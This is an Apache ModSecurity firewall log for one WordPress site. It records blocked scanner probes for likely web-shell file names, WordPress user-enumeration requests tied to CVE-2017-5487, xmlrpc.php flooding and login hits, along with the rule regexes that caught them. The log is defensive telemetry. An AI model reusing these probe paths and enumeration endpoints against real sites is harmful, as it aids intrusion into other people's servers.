[Tue May 19 00:37:48.962514 2026] [:error] [pid 36579:tid 36597] [client 20.151.117.104:63059] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "agtAXF-aoZxBfgL5vDyr6wAAAE8"]
[Tue May 19 00:37:49.953148 2026] [:error] [pid 36491:tid 36502] [client 20.151.117.104:62998] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "agtAXU555B9CZb6D60nwEwAAAUc"]
[Tue May 19 00:37:50.530850 2026] [:error] [pid 36491:tid 36505] [client 20.151.117.104:63732] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "agtAXk555B9CZb6D60nwFAAAAUo"]
[Tue May 19 00:37:51.113476 2026] [:error] [pid 44087:tid 44093] [client 20.151.117.104:62578] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "agtAX25HPHbH9GK7l6wI5gAAAcQ"]
[Tue May 19 00:37:51.665997 2026] [:error] [pid 36491:tid 36515] [client 20.151.117.104:64913] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "agtAX0555B9CZb6D60nwFwAAAVQ"]
[Tue May 19 00:37:52.123438 2026] [:error] [pid 44046:tid 44056] [client 20.151.117.104:61791] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "agtAYIYF4k2jfXJBXk0LsQAAAYg"]
[Tue May 19 00:37:52.788959 2026] [:error] [pid 36493:tid 36551] [client 20.151.117.104:63066] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "agtAYAynkzQB5nM668rdEwAAAQI"]
[Tue May 19 00:37:53.258606 2026] [:error] [pid 36579:tid 36582] [client 20.151.117.104:62499] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "agtAYV-aoZxBfgL5vDyr7AAAAEA"]
[Tue May 19 00:37:53.755179 2026] [:error] [pid 36493:tid 36549] [client 20.151.117.104:64992] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfa.php"] [unique_id "agtAYQynkzQB5nM668rdFgAAAQA"]
[Tue May 19 00:37:54.187407 2026] [:error] [pid 36491:tid 36516] [client 20.151.117.104:62984] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "agtAYk555B9CZb6D60nwHwAAAVU"]
[Tue May 19 00:37:54.727810 2026] [:error] [pid 36579:tid 36599] [client 20.151.117.104:64935] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "agtAYl-aoZxBfgL5vDyr7QAAAFE"]
[Tue May 19 00:37:55.326548 2026] [:error] [pid 44010:tid 44030] [client 20.151.117.104:64905] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "agtAYzcFUuogD3-74-aIogAAANI"]
[Tue May 19 00:37:55.882880 2026] [:error] [pid 36492:tid 36526] [client 20.151.117.104:64317] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "agtAY2CVlogrkn9m2w4apgAAAAQ"]
[Tue May 19 00:37:56.369750 2026] [:error] [pid 44046:tid 44049] [client 20.151.117.104:60481] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/elp.php"] [unique_id "agtAZIYF4k2jfXJBXk0LtAAAAYE"]
[Tue May 19 00:37:56.845948 2026] [:error] [pid 36492:tid 36531] [client 20.151.117.104:64980] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/elp.php"] [unique_id "agtAZGCVlogrkn9m2w4aqAAAAAk"]
[Tue May 19 00:37:57.750107 2026] [:error] [pid 44010:tid 44021] [client 20.151.117.104:63645] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/elp.php"] [unique_id "agtAZTcFUuogD3-74-aIpAAAAMk"]
[Tue May 19 00:37:58.346530 2026] [:error] [pid 43916:tid 43940] [client 20.151.117.104:65022] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/elp.php"] [unique_id "agtAZtQC236p33zJJvnaPQAAAJA"]
[Tue May 19 00:37:58.895124 2026] [:error] [pid 44010:tid 44035] [client 20.151.117.104:64365] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "agtAZjcFUuogD3-74-aIpwAAANc"]
[Tue May 19 00:37:59.487530 2026] [:error] [pid 36491:tid 36497] [client 20.151.117.104:65021] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "agtAZ0555B9CZb6D60nwJQAAAUI"]
[Tue May 19 00:38:00.082487 2026] [:error] [pid 43916:tid 43936] [client 20.151.117.104:62977] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "agtAaNQC236p33zJJvnaPgAAAIw"]
[Tue May 19 00:38:00.837330 2026] [:error] [pid 36491:tid 36507] [client 20.151.117.104:63035] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "agtAaE555B9CZb6D60nwJwAAAUw"]
[Tue May 19 00:38:01.338717 2026] [:error] [pid 36579:tid 36606] [client 20.151.117.104:63696] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "agtAaV-aoZxBfgL5vDyr9AAAAFg"]
[Tue May 19 00:38:03.756143 2026] [:error] [pid 43916:tid 43931] [client 20.151.117.104:64976] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "agtAa9QC236p33zJJvnaQAAAAIc"]
[Tue May 19 00:38:04.953717 2026] [:error] [pid 36491:tid 36503] [client 20.151.117.104:63060] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "agtAbE555B9CZb6D60nwKAAAAUg"]
[Tue May 19 00:38:05.521940 2026] [:error] [pid 36491:tid 36498] [client 20.151.117.104:63686] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "agtAbU555B9CZb6D60nwKwAAAUM"]
[Tue May 19 00:38:06.117631 2026] [:error] [pid 36491:tid 36517] [client 20.151.117.104:62988] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/"] [unique_id "agtAbk555B9CZb6D60nwLAAAAVY"]
[Tue May 19 00:38:06.581156 2026] [:error] [pid 36493:tid 36571] [client 20.151.117.104:61699] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/"] [unique_id "agtAbgynkzQB5nM668rdMAAAARY"]
[Tue May 19 00:38:06.903326 2026] [:error] [pid 44046:tid 44054] [client 129.226.146.42:58048] [client 129.226.146.42] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agtAboYF4k2jfXJBXk0LtwAAAYY"]
[Tue May 19 00:38:07.086367 2026] [:error] [pid 36492:tid 36523] [client 20.151.117.104:63673] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/"] [unique_id "agtAb2CVlogrkn9m2w4arQAAAAE"]
[Tue May 19 00:38:07.688136 2026] [:error] [pid 36493:tid 36573] [client 20.151.117.104:63617] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/"] [unique_id "agtAbwynkzQB5nM668rdMgAAARg"]
[Tue May 19 00:38:08.163969 2026] [:error] [pid 36493:tid 36560] [client 20.151.117.104:62505] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws54.php"] [unique_id "agtAcAynkzQB5nM668rdNAAAAQs"]
[Tue May 19 00:38:15.654513 2026] [:error] [pid 36492:tid 36546] [client 20.151.117.104:62496] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws54.php"] [unique_id "agtAd2CVlogrkn9m2w4awQAAABg"]
[Tue May 19 00:38:17.910275 2026] [:error] [pid 36492:tid 36535] [client 136.115.14.152:51950] [client 136.115.14.152] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "agtAeWCVlogrkn9m2w4ayAAAAA0"]
[Tue May 19 00:38:18.960850 2026] [:error] [pid 36492:tid 36537] [client 136.115.14.152:51950] [client 136.115.14.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.115.14.152, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtAemCVlogrkn9m2w4azAAAAA8"]
[Tue May 19 00:38:20.055795 2026] [:error] [pid 36492:tid 36538] [client 136.115.14.152:50812] [client 136.115.14.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.115.14.152, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtAfGCVlogrkn9m2w4azgAAABA"]
[Tue May 19 00:38:21.158375 2026] [:error] [pid 36492:tid 36534] [client 136.115.14.152:64642] [client 136.115.14.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.115.14.152, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtAfWCVlogrkn9m2w4a0AAAAAw"]
[Tue May 19 00:38:22.222494 2026] [:error] [pid 36493:tid 36572] [client 136.115.14.152:51398] [client 136.115.14.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.115.14.152, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtAfgynkzQB5nM668rdQAAAARc"]
[Tue May 19 00:38:23.289689 2026] [:error] [pid 43916:tid 43925] [client 136.115.14.152:60693] [client 136.115.14.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.115.14.152, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtAf9QC236p33zJJvnaQQAAAIE"]
[Tue May 19 00:38:24.358508 2026] [:error] [pid 44087:tid 44107] [client 136.115.14.152:63385] [client 136.115.14.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.115.14.152, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtAgG5HPHbH9GK7l6wI7wAAAdI"]
[Tue May 19 00:38:24.358648 2026] [:error] [pid 44087:tid 44107] [client 136.115.14.152:63385] [client 136.115.14.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 136.115.14.152, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtAgG5HPHbH9GK7l6wI7wAAAdI"]
[Tue May 19 00:40:00.663199 2026] [:error] [pid 44010:tid 44012] [client 20.151.117.104:64310] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a.php"] [unique_id "agtA4DcFUuogD3-74-aI2AAAAMA"]
[Tue May 19 00:40:04.531406 2026] [:error] [pid 44087:tid 44105] [client 20.151.117.104:63049] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a.php"] [unique_id "agtA5G5HPHbH9GK7l6wJIwAAAdA"]
[Tue May 19 00:40:05.080965 2026] [:error] [pid 36491:tid 36514] [client 20.151.117.104:63669] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a.php"] [unique_id "agtA5U555B9CZb6D60nwvwAAAVM"]
[Tue May 19 01:17:12.516332 2026] [:error] [pid 36579:tid 36585] [client 194.26.192.149:53676] [client 194.26.192.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/txets.php"] [unique_id "agtJmF-aoZxBfgL5vDywrgAAAEM"]
[Tue May 19 01:17:13.030908 2026] [:error] [pid 44010:tid 44015] [client 194.26.192.149:57063] [client 194.26.192.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "agtJmTcFUuogD3-74-aK3gAAAMM"]
[Tue May 19 01:17:13.537604 2026] [:error] [pid 36492:tid 36531] [client 194.26.192.149:51766] [client 194.26.192.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "agtJmWCVlogrkn9m2w4j8AAAAAk"]
[Tue May 19 01:17:15.941688 2026] [:error] [pid 44010:tid 44014] [client 194.26.192.149:59084] [client 194.26.192.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/txets.php"] [unique_id "agtJmzcFUuogD3-74-aK3wAAAMI"]
[Tue May 19 01:26:18.524676 2026] [:error] [pid 36493:tid 36554] [client 50.6.138.61:28428] [client 50.6.138.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.6.138.61, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agtLugynkzQB5nM668rh-wAAAQU"]
[Tue May 19 01:55:43.193703 2026] [:error] [pid 36493:tid 36567] [client 143.198.237.186:48910] [client 143.198.237.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.198.237.186, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agtSnwynkzQB5nM668rkaQAAARI"]
[Tue May 19 01:57:46.104412 2026] [:error] [pid 36491:tid 36510] [client 18.236.233.243:51390] [client 18.236.233.243] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/me"] [unique_id "agtTGk555B9CZb6D60n9FwAAAU8"]
[Tue May 19 02:05:57.764697 2026] [:error] [pid 44046:tid 44054] [client 105.172.232.228:60865] [client 105.172.232.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.172.232.228, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVBYYF4k2jfXJBXk0SFwAAAYY"]
[Tue May 19 02:06:20.509738 2026] [:error] [pid 36491:tid 36500] [client 105.172.232.228:61249] [client 105.172.232.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.172.232.228, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVHE555B9CZb6D60n_qgAAAUU"]
[Tue May 19 02:06:42.268052 2026] [:error] [pid 36579:tid 36599] [client 105.172.232.228:61617] [client 105.172.232.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.172.232.228, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVMl-aoZxBfgL5vDy2ygAAAFE"]
[Tue May 19 02:06:47.100305 2026] [:error] [pid 36579:tid 36598] [client 167.99.113.81:58591] [client 167.99.113.81] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "agtVN1-aoZxBfgL5vDy2zwAAAFA"]
[Tue May 19 02:06:48.140011 2026] [:error] [pid 36579:tid 36603] [client 167.99.113.81:58591] [client 167.99.113.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.113.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVOF-aoZxBfgL5vDy20QAAAFU"]
[Tue May 19 02:06:48.141938 2026] [:error] [pid 36579:tid 36603] [client 167.99.113.81:58591] [client 167.99.113.81] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVOF-aoZxBfgL5vDy20QAAAFU"]
